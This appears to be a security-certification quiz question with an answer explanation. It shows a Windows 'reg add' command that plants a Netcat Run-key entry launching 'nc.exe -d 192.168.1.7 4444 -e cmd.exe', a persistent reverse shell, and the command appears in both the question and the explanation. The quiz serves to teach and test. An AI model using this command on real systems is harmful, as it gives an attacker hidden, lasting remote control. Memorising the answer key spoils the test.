What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

Last Updated on August 12, 2021 by Admin 2

You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d “c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe”

What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

  • You want to perform banner grabbing.
  • You want to put Netcat in the stealth mode.
  • You want to add the Netcat command to the Windows registry.
  • You want to set the Netcat to execute command any time.
Explanation:
According to the question, you run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d “c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe”
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host> <port>.

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments